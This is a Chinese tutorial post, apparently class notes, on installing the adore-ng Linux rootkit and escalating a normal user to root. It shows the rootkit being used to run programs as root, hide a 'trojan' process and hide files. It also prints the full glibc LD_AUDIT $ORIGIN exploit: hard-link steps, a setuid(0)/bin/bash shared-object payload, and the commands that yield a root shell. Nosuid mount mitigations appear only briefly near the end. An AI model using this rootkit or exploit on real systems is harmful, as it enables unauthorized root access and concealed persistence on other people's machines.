adore-ng笔记和Linux普通用户提权
官网:https://github.com/trimpsyw/adore-ng
安装:
[root@xuegod63 ~]# unzipadore-ng-master.zip
[root@xuegod63 ~]# cdadore-ng-master
[root@xuegod63 adore-ng-master]#rpm -ivh/mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm
yum install gcc*
[root@xuegod63adore-ng-master]# make
[root@xuegod63adore-ng-master]# insmod adore-ng.ko #加载模块
测试,查看帮助:
[root@xuegod63adore-ng-master]# ./ava -h
Usage: ./ava {h,u,r,R,i,v,U}[file or PID]
I print info (secret UID etc)
h hide file #隐藏文件
u unhide file
r execute as root #可以提权,以root身份运行程序
R remove PID forever
U uninstall adore
i make PID invisible #隐藏进程。隐藏你的木马程序
v make PID visible
测试:准备环境,创建一个普通用户于测试。然后在普通用户上,通过ava命令,提权后,以root身份运行一个进程。
提权:提高自己在服务器中的权限。
[root@xuegod63 ~]# useradd tree
[root@xuegod63 ~]# echo 123456| passwd --stdin tree
Changing password for usertree
passwd: all authenticationtokens updated successfully.
例1: 通过ava命令提权。让普通用户tree可以获得root权限
[root@xuegod63adore-ng-master]# cp -r /root/adore-ng-master /tmp/
[root@xuegod63adore-ng-master]# chmod 777 /tmp/adore-ng-master/ -R
[root@xuegod63 adore-ng-master]#ssh tree@192.168.1.63 #以普通帐号登录
[tree@xuegod63 ~]$ cd/tmp/adore-ng-master/
[tree@xuegod63adore-ng-master]$ pwd
/tmp/adore-ng-master
[mk@xuegod63 adore-ng-master]$./ava I #查看基本信息,能弹出以下信息说明程序运行正常
56,500,500,56
Adore 1.56 installed. Goodluck.
ELITE_UID: 2618748389,ELITE_GID=4063569279, ADORE_KEY=fgjgggfd CURRENT_ADORE=56
实战: r 选项: execute as root #以root身份运行程序
[mk@xuegod63 adore-ng-master]$ll /etc/shadow
---------- 1 root root 1071Apr 7 10:17 /etc/shadow
[mk@xuegod63 adore-ng-master]$vim /etc/shadow
[mk@xuegod63 adore-ng-master]$ ./ava r vim /etc/shadow #编辑时,可以写入一些内容,测试是否可以正常写入
查看修改成功:
[root@xuegod63 ~]# vim/etc/shadow
另外,在别一个终端上查看,此进程的用户身份:
[root@xuegod63 ~]# ps -axu | grep shadow
Warning: bad syntax, perhaps abogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 6874 0.1 0.1 10216 2924 pts/3 S+ 04:12 0:00 /usr/bin/vim /etc/shadow
root 6879 0.0 0.0 4024 692 pts/2 S+ 04:12 0:00 grep shadow
留后门,不让人看见?
实战2: 隐藏进程。隐藏你的木马程序
模拟一个木马程序:
[mk@xuegod63adore-ng-master]$ cat a.sh
#!/bin/bash
sleep 2000
[mk@xuegod63adore-ng-master]$ chmod +x a.sh
[mk@xuegod63adore-ng-master]$ ./a.sh &
查看:
[root@xuegod63 ~]# ps-axu | grep a.sh
Warning: bad syntax,perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
tree 6339 0.0 0.1 106148 1184 pts/3 S 10:32 0:00 /bin/bash ./a.sh
隐藏进程
[mk@xuegod63adore-ng-master]$ ./ava i 6339 #隐藏进程
56,500,500,56
Adore 1.56 installed. Goodluck.
Made PID 6339 invisible.
[root@xuegod63 ~]# ps -axu |grep a.sh #查看
Warning: bad syntax, perhaps abogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root 10225 0.0 0.0 103300 852 pts/4 S+ 22:54 0:00 grep a.sh
实战3: 隐藏文件
[mk@xuegod63 adore-ng-master]$mkdir test
[mk@xuegod63 adore-ng-master]$cd test/
[mk@xuegod63 test]$ echo aaaa >a.php
[mk@xuegod63 test]$ ls -a
. .. a.php
隐藏文件
[mk@xuegod63 test]$/tmp/adore-ng-master/ava h a.php
56,500,500,56
Adore 1.56 installed. Goodluck.
File 'a.php' is now hidden.
查看:
[mk@localhost test]$ ls -a
. ..
[mk@xuegod63 test]$ cat a.php
aaaa
尝试:查找最近被的修改的文件
[mk@xuegod63 test]$touch b.php
[mk@xuegod63 test]$ ls
b.php
[mk@xuegod63 test]$find ./ -mtime -2
./
./b.php #找不到出来
有没有办法查看到a.php : 没有。 除非把rootkit木马程序关了
恢复出来:
[mk@xuegod63 test]$/tmp/adore-ng-master/ava u a.php
56,500,500,56
Adore 1.56 installed. Goodluck.
File 'a.php' is now visible.
[mk@xuegod63 test]$ ls -a
. .. a.php
总结:
1、通过rootkit提权
2、通过rootkit隐藏木马进程号
3、通过rootkit隐藏木马文件
创建一个让root用户都删除不了的木马文件
[root@xuegod63 ~]#lsattr b.txt
----i--------e- b.txt
[root@xuegod63 ~]#chattr -i b.txt
[root@xuegod63 ~]# rm-rf b.txt
实战2:Linux下普通用户提权
提权:你听不懂。 听深度,后期自己能做出来效果就可以
提权: 从普通用户提升到root权限
注:RHEL5到RHEL6.0 32位操作系统和64位操作系统都存在以下漏洞。
利用glibc库的漏洞,提权。
以一个普通用户登录
[root@xuegod63 ~]# su -mk
[mk@xuegod63 ~]$
suid : 当用户执行时命令a时,会以命令a的拥有者身份运行此命令。
[mk@xuegod63 ~]$ cd/tmp/
[hello@localhost tmp]$ls -ld /tmp/
drwxrwxrwt 11 root root4096 10-14 21:29 /tmp/
[hello@localhost tmp]$cd /tmp/
[hello@localhost tmp]$mkdir exploit //随便在tmp目录下创建一个文件夹exploit:利用
[mk@localhostadore-ng]$ ll /bin/ping
-rwsr-xr-x 1 root root35832 Apr 24 2009 /bin/ping
[hello@localhost tmp]$ln /bin/ping /tmp/exploit/target //创建/bin/ping 的一个硬链接,硬链接的名随便起
[hello@localhost tmp]$exec 3< /tmp/exploit/target
[hello@localhost tmp]$ls -l /proc/$$/fd/3
lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[hello@localhost tmp]$rm -fr /tmp/exploit/
[hello@localhost tmp]$ls -l /proc/$$/fd/3 //查看链接已经被删除
lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[hello@localhost tmp]$cat payload.c //写一个C语言程序
void__attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[hello@localhost tmp]$gcc -w -fPIC -shared -o /tmp/exploit payload.c //编译C程序
[hello@localhost tmp]$ls -l /tmp/exploit
-rwxrwxr-x 1 hellohello 4223 10-20 09:32 /tmp/exploit
[mk@xuegod63 tmp]$whoami
mk
[hello@localhost tmp]$LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@localhost tmp]#whoami
root
在RHEL6.1尝试时,前面几条命令都可以执行成功,在执行最后这条命令时报以下错误,并直接使用普通用户退出登录。
提示:对像$ORIGIN不能被作为审计接口加载
无法打开共享文件ject ;忽略
解决方法:
对 777 的目录做如下操作 , 可以控制你提权的 . 比如/tmp
# mount -o bind,nosuid/tmp /tmp
还需要把用户的家目录也用上面的方法打上补丁:
[root@xuegod63 ~]#mount -o bind,nosuid /home/mk /home/mk
修改就不行了,执行ln命令时提示以下错误。
[root@xuegod63 ~]# su -mk
[mk@xuegod63 ~]$ ln/bin/ping /tmp/ping
ln: creating hard link`/tmp/ping' => `/bin/ping': Invalid cross-device link
#报错,创建硬链接时,报错,无效的跨设备连接
注:查找权限是777的文件夹:
root@xuegod63 ~]# find/ -perm -777 -type d
/var/tmp
/dev/.mdadm
/dev/.udev
/dev/.udev/rules.d
/dev/shm
find:`/proc/9346/task/9346/fd/5': No such file or directory
find:`/proc/9346/task/9346/fdinfo/5': No such file or directory
find:`/proc/9346/fd/5': No such file or directory
find: `/proc/9346/fdinfo/5':No such file or directory
/tmp
/tmp/VMwareDnD
/tmp/.ICE-unix
/tmp/.X11-unix
普通用户的家目录/home/普通用户
注:
-perm mode:文件权限正好符合mode
-perm +mode:文件权限部分符合mode
-perm -mode: 文件权限完全符合mode
adore-ng笔记和Linux普通用户提权的更多相关文章
- linux普通用户提权操作
[root@test1 ~]# vim /etc/sudoers ## Allow root to run any commands anywhere root ALL=(ALL) ALLzhouyu ...
- Linux sudo用户提权与日志审计
一.格式说明及常用配置选项 格式: 用户或组 主机=授权可以使用哪个用户的权限 可以执行的命令 User_Alias 用户定义别名(别名可以是用户,用户组(用户组前面要加%))例:User_Alias ...
- linux普通用户提权
tar通配符注入. echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh e ...
- linux 安全基本防护 用户提权 ssh访问控制
linu安全应用 信息安全分类: 物理安全:主机/机房环境 系统安全:操作系统 应用安全:各种网络服务,应用程序 网络安全:网络访问控制,防火墙规则 数据安全:信息的备份与恢复,加密解密 管理安全:保 ...
- Linux用户提权管理方案
提权管理方案背景: 如果一个公司有10余个运维或网络安全人员,同时管理服务器,切换到管理员用户时(su - root),必须要有root管理员密码,如果其中一人修改过root密码,其他用户则登录不了, ...
- LINUX渗透与提权总结
本文为Linux渗透与提权技巧总结篇,旨在收集各种Linux渗透技巧与提权版本,方便各位同学在日后的渗透测试中能够事半功倍. Linux 系统下的一些常见路径: 001 /etc/passwd 002 ...
- Linux本地内核提权漏洞复现(CVE-2019-13272)
Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...
- Enumy:一款功能强大的Linux后渗透提权枚举工具
Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...
- Centos普通用户提权至ROOT
1.利用/bin/ping的漏洞普通用户提权.(rws中的s) [root@localhost ~]# ls -l /bin/ping -rwsr-xr-x. root root 9月 /bin/pi ...
随机推荐
- overflow:scroll 在 iOS上滚动不流畅的问题
添加下面属性: -webkit-overflow-scrolling: touch;
- 转:gcc编译C++程序
转:http://blog.csdn.net/liujiayu2/article/details/49864381 单个源文件生成可执行程序 下面是一个保存在文件 helloworld.cpp 中一个 ...
- Java_关键字、匿名对象、内部类、访问修饰符、代码块
final关键字 概述: 继承的出现提高了代码的复用性,并方便开发.但随之也有问题,有些类在描述完之后,不想被继承,或者有些类中的部分方法功能是固定的,不想让子类重写.可是当子类继承了这些特殊类之后, ...
- 借助jxl将Excel中的数据注入到Bean中
前言 使用了Hibernate的项目中需要导入多张表的数据,但是我又不想写多次取出Excle数据放到Bean里的代码,于是写了个ExcleUtils来帮助我做这件事. 基本思路 技术上,首先肯定是要借 ...
- y450 archlinux cuda6.5
y450 archlinux cuda6.5 January 28, 2018 4:11 PM archlinux是最新更新版本,gcc版本到了7.几,太新了. [qiangge@lqspc ~]$ ...
- hdu1028 Ignatius and the Princess III(生成函数整理占坑)upd 已咕
先咕着 ---------------2018 5 22---------------------- 题解 生成函数处理整数拆分 code #include<cstdio> #includ ...
- [BZOJ4627][BeiJing2016]回转寿司(线段树)
从左到右处理,设到当前数R的前缀和为cnt[i],则以i为右端点的合法的区间左端点j必然是L<=cnt[i]-cnt[j-1]<=R,即cnt[i]-R<=cnt[j-1]<= ...
- [BZOJ4873][六省联考2017]寿司餐厅(最大权闭合子图)
4873: [Shoi2017]寿司餐厅 Time Limit: 20 Sec Memory Limit: 512 MBSubmit: 490 Solved: 350[Submit][Status ...
- Codeforces Round #302 (Div. 1) C. Remembering Strings DP
C. Remembering Strings Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/5 ...
- 读书笔记_Effective_C++_条款三十:了解inline的里里外外
学过基本程序课的同学都知道,inline是内联的关键字,它可以建议编译器将函数的每一个调用都用函数本体替换.这是一种以空间换时间的做法.把每一次调用都用本体替换,无疑会使代码膨胀,但可以节省函数调用的 ...